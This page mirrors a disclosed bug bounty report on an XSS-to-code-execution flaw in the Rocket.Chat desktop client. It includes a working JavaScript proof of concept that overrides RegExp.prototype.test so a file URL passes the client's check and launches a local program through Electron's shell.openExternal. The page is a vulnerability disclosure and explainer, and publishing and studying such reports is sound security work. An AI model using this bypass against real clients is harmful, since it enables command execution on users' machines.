Skip to content
XSS Disclosed report Advanced

XSS leads to RCE on the RocketChat desktop client.

A cross-site scripting flaw in the Rocket.Chat desktop client allowed JavaScript running inside a server webview to reach Electron's shell.openExternal API. An attacker could then open arbitrary URLs, which on the affected platform led to running local programs and so to command execution.

fabianfreyer Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 17 hours
  • Fixed in 6 months
  • Disclosed after 7 months

Summary: It is possible to call electron.shell.openExternal from javascript inside a server webview.

Description: The document onclick handler allows executing electron.shell.openExternal by crafting an attacker-controlled link and dispatching a click event on it after overwriting Regex.test.

Releases Affected:

  • Rocket.Chat Desktop Client up to version 2.17.9

Steps To Reproduce (from initial installation to vulnerability):

  1. Have a XSS vulnerability such as #894462 or #899954.
  2. Call the following payload (for macos, adjust for other OSes as required):
JavaScript
(function() {
    const payload = `file:///System/Applications/Calculator.app`;
    var counter = 0;
    var target = document.createElement(`a`);
    target.setAttribute(`href`, payload);
    document.body.appendChild(target);
    var old_test = RegExp.prototype.test;
    RegExp.prototype.test = function (s) {
        if (s === payload) {
            return (++counter > 3);
        }
        return old_test.call(this, s);
    };
    target.dispatchEvent(new Event(`click`));
})();
  1. Browse to a page with the XSS payload.
  2. Use your freshly opened calculator to calculate the result of 7*191.

Impact

An attacker with a XSS vulnerability in RocketChat such as #894462 or #899954 can call electron.shell.openExternal with arbitrary URLs, leading to arbitrary command execution.

Attachments

rc.png
rc.png From the original on HackerOne

The original report as published on HackerOne, by fabianfreyer. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the desktop client exposed Electron's shell.openExternal to untrusted webview content without restricting which URLs or schemes could be opened.

Impact

An attacker who already had a cross-site scripting bug in Rocket.Chat could open arbitrary URLs through the desktop client, leading to arbitrary command execution.

What the attacker needed

An existing XSS bug in Rocket.Chat; victim uses the desktop client; victim opens the malicious page

How it was found

  1. Obtain a cross-site scripting foothold in the Rocket.Chat client.
  2. Create a link element whose target is a local file URL.
  3. Override the regular expression test function so the app's URL check passes.
  4. Dispatch a click event on the link.
  5. Visit the page carrying the script and observe the launched program.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The desktop app shows chat content inside a built-in browser view. If an attacker can slip their own script into that content (a cross-site scripting bug), the script can talk to the app's privileged features. One of those features opens links in the operating system, so the script could make the computer launch a program instead of a harmless web page.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by fabianfreyer

View all

3 more disclosed reports, best first.

More from Rocket.Chat

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.